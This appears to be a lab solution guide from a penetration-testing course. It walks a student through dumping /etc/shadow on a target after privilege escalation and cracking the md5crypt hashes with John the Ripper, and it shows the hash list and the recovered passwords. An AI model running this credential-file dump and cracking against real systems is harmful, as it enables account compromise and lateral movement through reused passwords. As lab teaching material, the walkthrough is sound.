



### Solution Guide: Password Cracking

In the last lesson, you successfully elevated privileges from the daemon user to msfadmin or even root. Even though you now have full control over the machine, enumeration is not complete. We must now reperform enumeration as a high-privileged user to see what additional information we can gather.

One of the most fruitful files for enumeration as a high-privileged user is the `/etc/shadow` file. However, stealing the entire file may be a waste of time. Often, Linux machines have service accounts that are disabled and will serve no use. Your goal in gathering password hashes is to eventually crack the hashes for the users, some of whom may have accounts with the same password on other machines on the network.

#### Instructions

1. SSH into the target machine using the credentials that you found during the privilege-escalation activity.
  - `ssh msfadmin@172.x.x.x` password: `cybersecurity`
2. Gather a list of active users and their password hashes.
  - `sudo ls /home` to gather a list of users
  - `sudo cat /etc/shadow` to gather hashes
3. Format your hashes as such: `username:passwordhash` (e.g., `bob:$1$HESu9xrH$K.o4G93DGoXaiQKkPmUgZ0`).

**Note:** The hash will start with `$1$` and end before the colon (`:`).

```
File Edit Search View Document Help

root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid.
sys:$1$fUX6BPot$MiyC3Up0zQJqz4s5wFD9l0
klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0
msfadmin:$1$czKn4zfS$6c/n1V94a16Nt2LS7o5p30
postgres:$1$Rw35ik.x$MgQgZUu05pAoUvfJhfcYe/
user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0
service:$1$kR3ue7JZ$7GxELDupr50hp6cjZ3Bu//
systemd-ssh:$1$p40cKpHh$U9RwIkxC.vjuwyqTld7.R1
tstark:$1$SI3.cmzw$agMjsOSBH1cZc/E8pahL ..|
```

4. Crack the hashes by using `john` and passing in the text file with the hashes as an argument (e.g., `john hashes.txt`).

```
(root@kali)~[~]
# john hashes.txt
Created directory: /root/.john
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 9 password hashes with 9 different salts (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Warning: Only 2 candidates buffered for the current salt, minimum 24 needed for performance.
user (user)
Warning: Only 6 candidates buffered for the current salt, minimum 24 needed for performance.
postgres (postgres)
Warning: Only 5 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 7 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 4 candidates buffered for the current salt, minimum 24 needed for performance.
Warning: Only 6 candidates buffered for the current salt, minimum 24 needed for performance.
service (service)
Warning: Only 7 candidates buffered for the current salt, minimum 24 needed for performance.
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
123456789 (klog)
password (systemd-ssh)
batman (sys)
Password! (tstark)
Proceeding with incremental:ASCII
7g 0:00:00:48 3/3 0.1435g/s 28753p/s 59099c/s 59099C/s rasku..rasy2
Use the "--show" option to display all of the cracked passwords reliably
Session aborted
```